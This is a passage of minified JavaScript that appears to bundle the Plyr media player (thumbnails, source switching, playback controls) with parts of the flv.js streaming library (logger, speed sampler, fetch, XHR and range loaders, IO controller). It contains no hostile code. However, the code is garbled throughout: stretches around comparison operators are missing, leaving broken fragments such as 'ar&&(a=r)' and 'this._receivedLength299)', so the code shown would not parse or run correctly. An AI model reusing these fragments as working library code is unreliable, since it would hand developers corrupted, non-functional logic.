0!==arguments[0]&&arguments[0],t=this.player.config.classNames.previewThumbnails.scrubbingContainerShown;this.elements.scrubbing.container.classList.toggle(t,e),e||(this.showingThumb=null,this.showingThumbFilename=null)}},{key:"determineContainerAutoSizing",value:function(){(this.elements.thumb.imageContainer.clientHeight>20||this.elements.thumb.imageContainer.clientWidth>20)&&(this.sizeSpecifiedInCSS=!0)}},{key:"setThumbContainerSizeAndPos",value:function(){if(this.sizeSpecifiedInCSS){if(this.elements.thumb.imageContainer.clientHeight>20&&this.elements.thumb.imageContainer.clientWidth<20){var e=Math.floor(this.elements.thumb.imageContainer.clientHeight*this.thumbAspectRatio);this.elements.thumb.imageContainer.style.width="".concat(e,"px")}else if(this.elements.thumb.imageContainer.clientHeight<20&&this.elements.thumb.imageContainer.clientWidth>20){var t=Math.floor(this.elements.thumb.imageContainer.clientWidth/this.thumbAspectRatio);this.elements.thumb.imageContainer.style.height="".concat(t,"px")}}else{var n=Math.floor(this.thumbContainerHeight*this.thumbAspectRatio);this.elements.thumb.imageContainer.style.height="".concat(this.thumbContainerHeight,"px"),this.elements.thumb.imageContainer.style.width="".concat(n,"px")}this.setThumbContainerPos()}},{key:"setThumbContainerPos",value:function(){var e=this.player.elements.progress.getBoundingClientRect(),t=this.player.elements.container.getBoundingClientRect(),n=this.elements.thumb.container,i=t.left-e.left+10,r=t.right-e.left-n.clientWidth-10,a=this.mousePosX-e.left-n.clientWidth/2;ar&&(a=r),n.style.left="".concat(a,"px")}},{key:"setScrubbingContainerSize",value:function(){var e=wt(this.thumbAspectRatio,{width:this.player.media.clientWidth,height:this.player.media.clientHeight}),t=e.width,n=e.height;this.elements.scrubbing.container.style.width="".concat(t,"px"),this.elements.scrubbing.container.style.height="".concat(n,"px")}},{key:"setImageSizeAndOffset",value:function(e,t){if(this.usingSprites){var n=this.thumbContainerHeight/t.h;e.style.height="".concat(e.naturalHeight*n,"px"),e.style.width="".concat(e.naturalWidth*n,"px"),e.style.left="-".concat(t.x*n,"px"),e.style.top="-".concat(t.y*n,"px")}}},{key:"enabled",get:function(){return this.player.isHTML5&&this.player.isVideo&&this.player.config.previewThumbnails.enabled}},{key:"currentImageContainer",get:function(){return this.mouseDown?this.elements.scrubbing.container:this.elements.thumb.imageContainer}},{key:"usingSprites",get:function(){return Object.keys(this.thumbnails[0].frames[0]).includes("w")}},{key:"thumbAspectRatio",get:function(){return this.usingSprites?this.thumbnails[0].frames[0].w/this.thumbnails[0].frames[0].h:this.thumbnails[0].width/this.thumbnails[0].height}},{key:"thumbContainerHeight",get:function(){return this.mouseDown?wt(this.thumbAspectRatio,{width:this.player.media.clientWidth,height:this.player.media.clientHeight}).height:this.sizeSpecifiedInCSS?this.elements.thumb.imageContainer.clientHeight:Math.floor(this.player.media.clientWidth/this.thumbAspectRatio/4)}},{key:"currentImageElement",get:function(){return this.mouseDown?this.currentScrubbingImageElement:this.currentThumbnailImageElement},set:function(e){this.mouseDown?this.currentScrubbingImageElement=e:this.currentThumbnailImageElement=e}}]),t}(),St={insertElements:function(e,t){var n=this;W(t)?ue(e,this.media,{src:t}):K(t)&&t.forEach((function(t){ue(e,n.media,t)}))},change:function(e){var t=this;re(e,"sources.length")?(je.cancelRequests.call(this),this.destroy.call(this,(function(){t.options.quality=[],ce(t.media),t.media=null,Y(t.elements.container)&&t.elements.container.removeAttribute("class");var n=e.sources,i=e.type,r=s(n,1)[0],a=r.provider,o=void 0===a?at.html5:a,l=r.src,u="html5"===o?i:"div",c="html5"===o?{}:{src:l};Object.assign(t,{provider:o,type:i,supported:Ee.check(i,o,t.config.playsinline),media:le(u,c)}),t.elements.container.appendChild(t.media),G(e.autoplay)&&(t.config.autoplay=e.autoplay),t.isHTML5&&(t.config.crossorigin&&t.media.setAttribute("crossorigin",""),t.config.autoplay&&t.media.setAttribute("autoplay",""),ee(e.poster)||(t.poster=e.poster),t.config.loop.active&&t.media.setAttribute("loop",""),t.config.muted&&t.media.setAttribute("muted",""),t.config.playsinline&&t.media.setAttribute("playsinline","")),ct.addStyleHook.call(t),t.isHTML5&&St.insertElements.call(t,"source",n),t.config.title=e.title,_t.setup.call(t),t.isHTML5&&Object.keys(e).includes("tracks")&&St.insertElements.call(t,"track",e.tracks),(t.isHTML5||t.isEmbed&&!t.supported.ui)&&ct.build.call(t),t.isHTML5&&t.media.load(),ee(e.previewThumbnails)||(Object.assign(t.config.previewThumbnails,e.previewThumbnails),t.previewThumbnails&&t.previewThumbnails.loaded&&(t.previewThumbnails.destroy(),t.previewThumbnails=null),t.config.previewThumbnails.enabled&&(t.previewThumbnails=new Et(t))),t.fullscreen.update()}),!0)):this.debug.warn("Invalid source format")}},Tt=function(){function t(n,i){var r=this;if(e(this,t),this.timers={},this.ready=!1,this.loading=!1,this.failed=!1,this.touch=Ee.touch,this.media=n,W(this.media)&&(this.media=document.querySelectorAll(this.media)),(window.jQuery&&this.media instanceof jQuery||$(this.media)||K(this.media))&&(this.media=this.media[0]),this.config=ae({},it,t.defaults,i||{},function(){try{return JSON.parse(r.media.getAttribute("data-plyr-config"))}catch(e){return{}}}()),this.elements={container:null,fullscreen:null,captions:null,buttons:{},display:{},progress:{},inputs:{},settings:{popup:null,menu:null,panels:{},buttons:{}}},this.captions={active:null,currentTrack:-1,meta:new WeakMap},this.fullscreen={active:!1},this.options={speed:[],quality:[]},this.debug=new st(this.config.debug),this.debug.log("Config",this.config),this.debug.log("Support",Ee),!z(this.media)&&Y(this.media))if(this.media.plyr)this.debug.warn("Target already setup");else if(this.config.enabled)if(Ee.check().api){var a=this.media.cloneNode(!0);a.autoplay=!1,this.elements.original=a;var o=this.media.tagName.toLowerCase(),s=null,l=null;switch(o){case"div":if(s=this.media.querySelector("iframe"),Y(s)){if(l=et(s.getAttribute("src")),this.provider=function(e){return/^(https?:\/\/)?(www\.)?(youtube\.com|youtube-nocookie\.com|youtu\.?be)\/.+$/.test(e)?at.youtube:/^https?:\/\/player.vimeo.com\/video\/\d{0,9}(?=\b|\/)/.test(e)?at.vimeo:null}(l.toString()),this.elements.container=this.media,this.media=s,this.elements.container.className="",l.search.length){var u=["1","true"];u.includes(l.searchParams.get("autoplay"))&&(this.config.autoplay=!0),u.includes(l.searchParams.get("loop"))&&(this.config.loop.active=!0),this.isYouTube?(this.config.playsinline=u.includes(l.searchParams.get("playsinline")),this.config.youtube.hl=l.searchParams.get("hl")):this.config.playsinline=!0}}else this.provider=this.media.getAttribute(this.config.attributes.embed.provider),this.media.removeAttribute(this.config.attributes.embed.provider);if(ee(this.provider)||!Object.keys(at).includes(this.provider))return void this.debug.error("Setup failed: Invalid provider");this.type="video";break;case"video":case"audio":this.type=o,this.provider=at.html5,this.media.hasAttribute("crossorigin")&&(this.config.crossorigin=!0),this.media.hasAttribute("autoplay")&&(this.config.autoplay=!0),(this.media.hasAttribute("playsinline")||this.media.hasAttribute("webkit-playsinline"))&&(this.config.playsinline=!0),this.media.hasAttribute("muted")&&(this.config.muted=!0),this.media.hasAttribute("loop")&&(this.config.loop.active=!0);break;default:return void this.debug.error("Setup failed: unsupported type")}this.supported=Ee.check(this.type,this.provider,this.config.playsinline),this.supported.api?(this.eventListeners=[],this.listeners=new dt(this),this.storage=new qe(this),this.media.plyr=this,Y(this.elements.container)||(this.elements.container=le("div",{tabindex:0}),oe(this.media,this.elements.container)),ct.migrateStyles.call(this),ct.addStyleHook.call(this),_t.setup.call(this),this.config.debug&&Ce.call(this,this.elements.container,this.config.events.join(" "),(function(e){r.debug.log("event: ".concat(e.type))})),this.fullscreen=new lt(this),(this.isHTML5||this.isEmbed&&!this.supported.ui)&&ct.build.call(this),this.listeners.container(),this.listeners.global(),this.config.ads.enabled&&(this.ads=new kt(this)),this.isHTML5&&this.config.autoplay&&this.once("canplay",(function(){return Pe(r.play())})),this.lastSeekTime=0,this.config.previewThumbnails.enabled&&(this.previewThumbnails=new Et(this))):this.debug.error("Setup failed: no support")}else this.debug.error("Setup failed: no support");else this.debug.error("Setup failed: disabled by config");else this.debug.error("Setup failed: no suitable element passed")}return i(t,[{key:"play",value:function(){var e=this;return q(this.media.play)?(this.ads&&this.ads.enabled&&this.ads.managerPromise.then((function(){return e.ads.play()})).catch((function(){return Pe(e.media.play())})),this.media.play()):null}},{key:"pause",value:function(){return this.playing&&q(this.media.pause)?this.media.pause():null}},{key:"togglePlay",value:function(e){return(G(e)?e:!this.playing)?this.play():this.pause()}},{key:"stop",value:function(){this.isHTML5?(this.pause(),this.restart()):q(this.media.stop)&&this.media.stop()}},{key:"restart",value:function(){this.currentTime=0}},{key:"rewind",value:function(e){this.currentTime-=H(e)?e:this.config.seekTime}},{key:"forward",value:function(e){this.currentTime+=H(e)?e:this.config.seekTime}},{key:"increaseVolume",value:function(e){var t=this.media.muted?0:this.volume;this.volume=t+(H(e)?e:0)}},{key:"decreaseVolume",value:function(e){this.increaseVolume(-e)}},{key:"toggleCaptions",value:function(e){nt.toggle.call(this,e,!1)}},{key:"airplay",value:function(){Ee.airplay&&this.media.webkitShowPlaybackTargetPicker()}},{key:"toggleControls",value:function(e){if(this.supported.ui&&!this.isAudio){var t=ge(this.elements.container,this.config.classNames.hideControls),n=void 0===e?void 0:!e,i=me(this.elements.container,this.config.classNames.hideControls,n);if(i&&K(this.config.controls)&&this.config.controls.includes("settings")&&!ee(this.config.settings)&&Ze.toggleMenu.call(this,!1),i!==t){var r=i?"controlshidden":"controlsshown";Ae.call(this,this.media,r)}return!i}return!1}},{key:"on",value:function(e,t){Ce.call(this,this.elements.container,e,t)}},{key:"once",value:function(e,t){Oe.call(this,this.elements.container,e,t)}},{key:"off",value:function(e,t){xe(this.elements.container,e,t)}},{key:"destroy",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(this.ready){var i=function(){document.body.style.overflow="",t.embed=null,n?(Object.keys(t.elements).length&&(ce(t.elements.buttons.play),ce(t.elements.captions),ce(t.elements.controls),ce(t.elements.wrapper),t.elements.buttons.play=null,t.elements.captions=null,t.elements.controls=null,t.elements.wrapper=null),q(e)&&e()):(Re.call(t),je.cancelRequests.call(t),fe(t.elements.original,t.elements.container),Ae.call(t,t.elements.original,"destroyed",!0),q(e)&&e.call(t.elements.original),t.ready=!1,setTimeout((function(){t.elements=null,t.media=null}),200))};this.stop(),clearTimeout(this.timers.loading),clearTimeout(this.timers.controls),clearTimeout(this.timers.resized),this.isHTML5?(ct.toggleNativeControls.call(this,!0),i()):this.isYouTube?(clearInterval(this.timers.buffering),clearInterval(this.timers.playing),null!==this.embed&&q(this.embed.destroy)&&this.embed.destroy(),i()):this.isVimeo&&(null!==this.embed&&this.embed.unload().then(i),setTimeout(i,200))}}},{key:"supports",value:function(e){return Ee.mime.call(this,e)}},{key:"isHTML5",get:function(){return this.provider===at.html5}},{key:"isEmbed",get:function(){return this.isYouTube||this.isVimeo}},{key:"isYouTube",get:function(){return this.provider===at.youtube}},{key:"isVimeo",get:function(){return this.provider===at.vimeo}},{key:"isVideo",get:function(){return"video"===this.type}},{key:"isAudio",get:function(){return"audio"===this.type}},{key:"playing",get:function(){return Boolean(this.ready&&!this.paused&&!this.ended)}},{key:"paused",get:function(){return Boolean(this.media.paused)}},{key:"stopped",get:function(){return Boolean(this.paused&&0===this.currentTime)}},{key:"ended",get:function(){return Boolean(this.media.ended)}},{key:"currentTime",set:function(e){if(this.duration){var t=H(e)&&e>0;this.media.currentTime=t?Math.min(e,this.duration):0,this.debug.log("Seeking to ".concat(this.currentTime," seconds"))}},get:function(){return Number(this.media.currentTime)}},{key:"buffered",get:function(){var e=this.media.buffered;return H(e)?e:e&&e.length&&this.duration>0?e.end(0)/this.duration:0}},{key:"seeking",get:function(){return Boolean(this.media.seeking)}},{key:"duration",get:function(){var e=parseFloat(this.config.duration),t=(this.media||{}).duration,n=H(t)&&t!==1/0?t:0;return e||n}},{key:"volume",set:function(e){var t=e;W(t)&&(t=Number(t)),H(t)||(t=this.storage.get("volume")),H(t)||(t=this.config.volume),t>1&&(t=1),t<0&&(t=0),this.config.volume=t,this.media.volume=t,!ee(e)&&this.muted&&t>0&&(this.muted=!1)},get:function(){return Number(this.media.volume)}},{key:"muted",set:function(e){var t=e;G(t)||(t=this.storage.get("muted")),G(t)||(t=this.config.muted),this.config.muted=t,this.media.muted=t},get:function(){return Boolean(this.media.muted)}},{key:"hasAudio",get:function(){return!this.isHTML5||!!this.isAudio||Boolean(this.media.mozHasAudio)||Boolean(this.media.webkitAudioDecodedByteCount)||Boolean(this.media.audioTracks&&this.media.audioTracks.length)}},{key:"speed",set:function(e){var t=this,n=null;H(e)&&(n=e),H(n)||(n=this.storage.get("speed")),H(n)||(n=this.config.speed.selected);var i=this.minimumSpeed,r=this.maximumSpeed;n=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:255;return Math.min(Math.max(e,t),n)}(n,i,r),this.config.speed.selected=n,setTimeout((function(){t.media.playbackRate=n}),0)},get:function(){return Number(this.media.playbackRate)}},{key:"minimumSpeed",get:function(){return this.isYouTube?Math.min.apply(Math,l(this.options.speed)):this.isVimeo?.5:.0625}},{key:"maximumSpeed",get:function(){return this.isYouTube?Math.max.apply(Math,l(this.options.speed)):this.isVimeo?2:16}},{key:"quality",set:function(e){var t=this.config.quality,n=this.options.quality;if(n.length){var i=[!ee(e)&&Number(e),this.storage.get("quality"),t.selected,t.default].find(H),r=!0;if(!n.includes(i)){var a=function(e,t){return K(e)&&e.length?e.reduce((function(e,n){return Math.abs(n-t)1&&void 0!==arguments[1]?arguments[1]:{},i=null;return W(e)?i=Array.from(document.querySelectorAll(e)):$(e)?i=Array.from(e):K(e)&&(i=e.filter(Y)),ee(i)?null:i.map((function(e){return new t(e,n)}))}}]),t}();return Tt.defaults=(yt=it,JSON.parse(JSON.stringify(yt))),Tt}())}).call(this,n(24))},function(e,t,n){"use strict";var i=n(2),r=n(1),a=function(){function e(){Object(i.a)(this,e)}return Object(r.a)(e,null,[{key:"install",value:function(){Object.setPrototypeOf=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},Object.assign=Object.assign||function(e){if(void 0===e||null===e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),n=1;n ").concat(n);e.ENABLE_CALLBACK&&e.emitter.emit("log","error",i),e.ENABLE_ERROR&&(console.error?console.error(i):console.warn?console.warn(i):console.log(i))}},{key:"i",value:function(t,n){t&&!e.FORCE_GLOBAL_TAG||(t=e.GLOBAL_TAG);var i="[".concat(t,"] > ").concat(n);e.ENABLE_CALLBACK&&e.emitter.emit("log","info",i),e.ENABLE_INFO&&(console.info?console.info(i):console.log(i))}},{key:"w",value:function(t,n){t&&!e.FORCE_GLOBAL_TAG||(t=e.GLOBAL_TAG);var i="[".concat(t,"] > ").concat(n);e.ENABLE_CALLBACK&&e.emitter.emit("log","warn",i),e.ENABLE_WARN&&(console.warn?console.warn(i):console.log(i))}},{key:"d",value:function(t,n){t&&!e.FORCE_GLOBAL_TAG||(t=e.GLOBAL_TAG);var i="[".concat(t,"] > ").concat(n);e.ENABLE_CALLBACK&&e.emitter.emit("log","debug",i),e.ENABLE_DEBUG&&(console.debug?console.debug(i):console.log(i))}},{key:"v",value:function(t,n){t&&!e.FORCE_GLOBAL_TAG||(t=e.GLOBAL_TAG);var i="[".concat(t,"] > ").concat(n);e.ENABLE_CALLBACK&&e.emitter.emit("log","verbose",i),e.ENABLE_VERBOSE&&console.log(i)}}]),e}();u.GLOBAL_TAG="flv.js",u.FORCE_GLOBAL_TAG=!1,u.ENABLE_ERROR=!0,u.ENABLE_INFO=!0,u.ENABLE_WARN=!0,u.ENABLE_DEBUG=!0,u.ENABLE_VERBOSE=!0,u.ENABLE_CALLBACK=!1,u.emitter=new l.a;var c=u,d=function(){function e(){Object(i.a)(this,e),this._firstCheckpoint=0,this._lastCheckpoint=0,this._intervalBytes=0,this._totalBytes=0,this._lastSecondBytes=0,self.performance&&self.performance.now?this._now=self.performance.now.bind(self.performance):this._now=Date.now}return Object(r.a)(e,[{key:"reset",value:function(){this._firstCheckpoint=this._lastCheckpoint=0,this._totalBytes=this._intervalBytes=0,this._lastSecondBytes=0}},{key:"addBytes",value:function(e){0===this._firstCheckpoint?(this._firstCheckpoint=this._now(),this._lastCheckpoint=this._firstCheckpoint,this._intervalBytes+=e,this._totalBytes+=e):this._now()-this._lastCheckpoint<1e3?(this._intervalBytes+=e,this._totalBytes+=e):(this._lastSecondBytes=this._intervalBytes,this._intervalBytes=e,this._totalBytes+=e,this._lastCheckpoint=this._now())}},{key:"currentKBps",get:function(){this.addBytes(0);var e=(this._now()-this._lastCheckpoint)/1e3;return 0==e&&(e=1),this._intervalBytes/e/1024}},{key:"lastSecondKBps",get:function(){return this.addBytes(0),0!==this._lastSecondBytes?this._lastSecondBytes/1024:this._now()-this._lastCheckpoint>=500?this.currentKBps:0}},{key:"averageKBps",get:function(){var e=(this._now()-this._firstCheckpoint)/1e3;return this._totalBytes/e/1024}}]),e}(),f=n(7),h=n(6),p=function(){function e(t){Object(i.a)(this,e),this._message=t}return Object(r.a)(e,[{key:"toString",value:function(){return this.name+": "+this.message}},{key:"name",get:function(){return"RuntimeException"}},{key:"message",get:function(){return this._message}}]),e}(),m=function(e){Object(f.a)(n,e);var t=Object(h.a)(n);function n(e){return Object(i.a)(this,n),t.call(this,e)}return Object(r.a)(n,[{key:"name",get:function(){return"IllegalStateException"}}]),n}(p),g=function(e){Object(f.a)(n,e);var t=Object(h.a)(n);function n(e){return Object(i.a)(this,n),t.call(this,e)}return Object(r.a)(n,[{key:"name",get:function(){return"InvalidArgumentException"}}]),n}(p),v=function(e){Object(f.a)(n,e);var t=Object(h.a)(n);function n(e){return Object(i.a)(this,n),t.call(this,e)}return Object(r.a)(n,[{key:"name",get:function(){return"NotImplementedException"}}]),n}(p),y={kIdle:0,kConnecting:1,kBuffering:2,kError:3,kComplete:4},b={OK:"OK",EXCEPTION:"Exception",HTTP_STATUS_CODE_INVALID:"HttpStatusCodeInvalid",CONNECTING_TIMEOUT:"ConnectingTimeout",EARLY_EOF:"EarlyEof",UNRECOVERABLE_EARLY_EOF:"UnrecoverableEarlyEof"},_=function(){function e(t){Object(i.a)(this,e),this._type=t||"undefined",this._status=y.kIdle,this._needStash=!1,this._onContentLengthKnown=null,this._onURLRedirect=null,this._onDataArrival=null,this._onError=null,this._onComplete=null}return Object(r.a)(e,[{key:"destroy",value:function(){this._status=y.kIdle,this._onContentLengthKnown=null,this._onURLRedirect=null,this._onDataArrival=null,this._onError=null,this._onComplete=null}},{key:"isWorking",value:function(){return this._status===y.kConnecting||this._status===y.kBuffering}},{key:"open",value:function(e,t){throw new v("Unimplemented abstract function!")}},{key:"abort",value:function(){throw new v("Unimplemented abstract function!")}},{key:"type",get:function(){return this._type}},{key:"status",get:function(){return this._status}},{key:"needStashBuffer",get:function(){return this._needStash}},{key:"onContentLengthKnown",get:function(){return this._onContentLengthKnown},set:function(e){this._onContentLengthKnown=e}},{key:"onURLRedirect",get:function(){return this._onURLRedirect},set:function(e){this._onURLRedirect=e}},{key:"onDataArrival",get:function(){return this._onDataArrival},set:function(e){this._onDataArrival=e}},{key:"onError",get:function(){return this._onError},set:function(e){this._onError=e}},{key:"onComplete",get:function(){return this._onComplete},set:function(e){this._onComplete=e}}]),e}(),k=n(10);function w(e,t,n){return(w="undefined"!==typeof Reflect&&Reflect.get?Reflect.get:function(e,t,n){var i=function(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=Object(k.a)(e)););return e}(e,t);if(i){var r=Object.getOwnPropertyDescriptor(i,t);return r.get?r.get.call(n):r.value}})(e,t,n||e)}var E={};!function(){var e=self.navigator.userAgent.toLowerCase(),t=/(edge)\/([\w.]+)/.exec(e)||/(opr)[\/]([\w.]+)/.exec(e)||/(chrome)[ \/]([\w.]+)/.exec(e)||/(iemobile)[\/]([\w.]+)/.exec(e)||/(version)(applewebkit)[ \/]([\w.]+).*(safari)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+).*(version)[ \/]([\w.]+).*(safari)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("trident")>=0&&/(rv)(?::| )([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(firefox)[ \/]([\w.]+)/.exec(e)||[],n=/(ipad)/.exec(e)||/(ipod)/.exec(e)||/(windows phone)/.exec(e)||/(iphone)/.exec(e)||/(kindle)/.exec(e)||/(android)/.exec(e)||/(windows)/.exec(e)||/(mac)/.exec(e)||/(linux)/.exec(e)||/(cros)/.exec(e)||[],i={browser:t[5]||t[3]||t[1]||"",version:t[2]||t[4]||"0",majorVersion:t[4]||t[2]||"0",platform:n[0]||""},r={};if(i.browser){r[i.browser]=!0;var a=i.majorVersion.split(".");r.version={major:parseInt(i.majorVersion,10),string:i.version},a.length>1&&(r.version.minor=parseInt(a[1],10)),a.length>2&&(r.version.build=parseInt(a[2],10))}if(i.platform&&(r[i.platform]=!0),(r.chrome||r.opr||r.safari)&&(r.webkit=!0),r.rv||r.iemobile){r.rv&&delete r.rv;i.browser="msie",r.msie=!0}if(r.edge){delete r.edge;i.browser="msedge",r.msedge=!0}if(r.opr){i.browser="opera",r.opera=!0}if(r.safari&&r.android){i.browser="android",r.android=!0}for(var o in r.name=i.browser,r.platform=i.platform,E)E.hasOwnProperty(o)&&delete E[o];Object.assign(E,r)}();var S=E,T=function(e){Object(f.a)(n,e);var t=Object(h.a)(n);function n(e,r){var a;return Object(i.a)(this,n),(a=t.call(this,"fetch-stream-loader")).TAG="FetchStreamLoader",a._seekHandler=e,a._config=r,a._needStash=!0,a._requestAbort=!1,a._contentLength=null,a._receivedLength=0,a}return Object(r.a)(n,null,[{key:"isSupported",value:function(){try{var e=S.msedge&&S.version.minor>=15048,t=!S.msedge||e;return self.fetch&&self.ReadableStream&&t}catch(n){return!1}}}]),Object(r.a)(n,[{key:"destroy",value:function(){this.isWorking()&&this.abort(),w(Object(k.a)(n.prototype),"destroy",this).call(this)}},{key:"open",value:function(e,t){var n=this;this._dataSource=e,this._range=t;var i=e.url;this._config.reuseRedirectedURL&&void 0!=e.redirectedURL&&(i=e.redirectedURL);var r=this._seekHandler.getConfig(i,t),a=new self.Headers;if("object"===typeof r.headers){var o=r.headers;for(var s in o)o.hasOwnProperty(s)&&a.append(s,o[s])}var l={method:"GET",headers:a,mode:"cors",cache:"default",referrerPolicy:"no-referrer-when-downgrade"};if("object"===typeof this._config.headers)for(var u in this._config.headers)a.append(u,this._config.headers[u]);!1===e.cors&&(l.mode="same-origin"),e.withCredentials&&(l.credentials="include"),e.referrerPolicy&&(l.referrerPolicy=e.referrerPolicy),this._status=y.kConnecting,self.fetch(r.url,l).then((function(e){if(n._requestAbort)return n._requestAbort=!1,void(n._status=y.kIdle);if(e.ok&&e.status>=200&&e.status<=299){if(e.url!==r.url&&n._onURLRedirect){var t=n._seekHandler.removeURLParameters(e.url);n._onURLRedirect(t)}var i=e.headers.get("Content-Length");return null!=i&&(n._contentLength=parseInt(i),0!==n._contentLength&&n._onContentLengthKnown&&n._onContentLengthKnown(n._contentLength)),n._pump.call(n,e.body.getReader())}if(n._status=y.kError,!n._onError)throw new p("FetchStreamLoader: Http code invalid, "+e.status+" "+e.statusText);n._onError(b.HTTP_STATUS_CODE_INVALID,{code:e.status,msg:e.statusText})})).catch((function(e){if(n._status=y.kError,!n._onError)throw e;n._onError(b.EXCEPTION,{code:-1,msg:e.message})}))}},{key:"abort",value:function(){this._requestAbort=!0}},{key:"_pump",value:function(e){var t=this;return e.read().then((function(n){if(n.done)if(null!==t._contentLength&&t._receivedLength299)){if(this._status=y.kError,!this._onError)throw new p("MozChunkedLoader: Http code invalid, "+t.status+" "+t.statusText);this._onError(b.HTTP_STATUS_CODE_INVALID,{code:t.status,msg:t.statusText})}else this._status=y.kBuffering}}},{key:"_onProgress",value:function(e){if(this._status!==y.kError){null===this._contentLength&&null!==e.total&&0!==e.total&&(this._contentLength=e.total,this._onContentLengthKnown&&this._onContentLengthKnown(this._contentLength));var t=e.target.response,n=this._range.from+this._receivedLength;this._receivedLength+=t.byteLength,this._onDataArrival&&this._onDataArrival(t,n,this._receivedLength)}}},{key:"_onLoadEnd",value:function(e){!0!==this._requestAbort?this._status!==y.kError&&(this._status=y.kComplete,this._onComplete&&this._onComplete(this._range.from,this._range.from+this._receivedLength-1)):this._requestAbort=!1}},{key:"_onXhrError",value:function(e){this._status=y.kError;var t=0,n=null;if(this._contentLength&&e.loaded=this._contentLength&&(n=this._range.from+this._contentLength-1),this._currentRequestRange={from:t,to:n},this._internalOpen(this._dataSource,this._currentRequestRange)}},{key:"_internalOpen",value:function(e,t){this._lastTimeLoaded=0;var n=e.url;this._config.reuseRedirectedURL&&(void 0!=this._currentRedirectedURL?n=this._currentRedirectedURL:void 0!=e.redirectedURL&&(n=e.redirectedURL));var i=this._seekHandler.getConfig(n,t);this._currentRequestURL=i.url;var r=this._xhr=new XMLHttpRequest;if(r.open("GET",i.url,!0),r.responseType="arraybuffer",r.onreadystatechange=this._onReadyStateChange.bind(this),r.onprogress=this._onProgress.bind(this),r.onload=this._onLoad.bind(this),r.onerror=this._onXhrError.bind(this),e.withCredentials&&(r.withCredentials=!0),"object"===typeof i.headers){var a=i.headers;for(var o in a)a.hasOwnProperty(o)&&r.setRequestHeader(o,a[o])}if("object"===typeof this._config.headers){var s=this._config.headers;for(var l in s)s.hasOwnProperty(l)&&r.setRequestHeader(l,s[l])}r.send()}},{key:"abort",value:function(){this._requestAbort=!0,this._internalAbort(),this._status=y.kComplete}},{key:"_internalAbort",value:function(){this._xhr&&(this._xhr.onreadystatechange=null,this._xhr.onprogress=null,this._xhr.onload=null,this._xhr.onerror=null,this._xhr.abort(),this._xhr=null)}},{key:"_onReadyStateChange",value:function(e){var t=e.target;if(2===t.readyState){if(void 0!=t.responseURL){var n=this._seekHandler.removeURLParameters(t.responseURL);t.responseURL!==this._currentRequestURL&&n!==this._currentRedirectedURL&&(this._currentRedirectedURL=n,this._onURLRedirect&&this._onURLRedirect(n))}if(t.status>=200&&t.status<=299){if(this._waitForTotalLength)return;this._status=y.kBuffering}else{if(this._status=y.kError,!this._onError)throw new p("RangeLoader: Http code invalid, "+t.status+" "+t.statusText);this._onError(b.HTTP_STATUS_CODE_INVALID,{code:t.status,msg:t.statusText})}}}},{key:"_onProgress",value:function(e){if(this._status!==y.kError){if(null===this._contentLength){var t=!1;if(this._waitForTotalLength){this._waitForTotalLength=!1,this._totalLengthReceived=!0,t=!0;var n=e.total;this._internalAbort(),null!=n&0!==n&&(this._totalLength=n)}if(-1===this._range.to?this._contentLength=this._totalLength-this._range.from:this._contentLength=this._range.to-this._range.from+1,t)return void this._openSubRange();this._onContentLengthKnown&&this._onContentLengthKnown(this._contentLength)}var i=e.loaded-this._lastTimeLoaded;this._lastTimeLoaded=e.loaded,this._speedSampler.addBytes(i)}}},{key:"_normalizeSpeed",value:function(e){var t=this._chunkSizeKBList,n=t.length-1,i=0,r=0,a=n;if(e=t[i]&&e=3&&(t=this._speedSampler.currentKBps)),0!==t){var n=this._normalizeSpeed(t);this._currentSpeedNormalized!==n&&(this._currentSpeedNormalized=n,this._currentChunkSizeKB=n)}var i=e.target.response,r=this._range.from+this._receivedLength;this._receivedLength+=i.byteLength;var a=!1;null!=this._contentLength&&this._receivedLength0&&this._receivedLength0)for(var a=n.split("&"),o=0;o0;s[0]!==this._startName&&s[0]!==this._endName&&(l&&(r+="&"),r+=a[o])}return 0===r.length?t:t+"?"+r}}]),e}(),L=function(){function e(t,n,r){Object(i.a)(this,e),this.TAG="IOController",this._config=n,this._extraData=r,this._stashInitialSize=393216,void 0!=n.stashInitialSize&&n.stashInitialSize>0&&(this._stashInitialSize=n.stashInitialSize),this._stashUsed=0,this._stashSize=this._stashInitialSize,this._bufferSize=3145728,this._stashBuffer=new ArrayBuffer(this._bufferSize),this._stashByteStart=0,this._enableStash=!0,!1===n.enableStashBuffer&&(this._enableStash=!1),this._loader=null,this._loaderClass=null,this._seekHandler=null,this._dataSource=t,this._isWebSocketURL=/wss?:\/\/(.+?)/.test(t.url),this._refTotalLength=t.filesize?t.filesize:null,this._totalLength=this._refTotalLength,this._fullRequestFlag=!1,this._currentRange=null,this._redirectedURL=null,this._speedNormalized=0,this._speedSampler=new d,this._speedNormalizeList=[64,128,256,384,512,768,1024,1536,2048,3072,4096],this._isEarlyEofReconnecting=!1,this._paused=!1,this._resumeFrom=0,this._onDataArrival=null,this._onSeeked=null,this._onError=null,this._onComplete=null,this._onRedirect=null,this._onRecoveredEarlyEof=null,this._selectSeekHandler(),this._selectLoader(),this._createLoader()}return Object(r.a)(e,[{key:"destroy",value:function(){this._loader.isWorking()&&this._loader.abort(),this._loader.destroy(),this._loader=null,this._loaderClass=null,this._dataSource=null,this._stashBuffer=null,this._stashUsed=this._stashSize=this._bufferSize=this._stashByteStart=0,this._currentRange=null,this._speedSampler=null,this._isEarlyEofReconnecting=!1,this._onDataArrival=null,this._onSeeked=null,this._onError=null,this._onComplete=null,this._onRedirect=null,this._onRecoveredEarlyEof=null,this._extraData=null}},{key:"isWorking",value:function(){return this._loader&&this._loader.isWorking()&&!this._paused}},{key:"isPaused",value:function(){return this._paused}},{key:"_selectSeekHandler",value:function(){var e=this._config;if("range"===e.seekType)this._seekHandler=new A(this._config.rangeLoadZeroStart);else if("param"===e.seekType){var 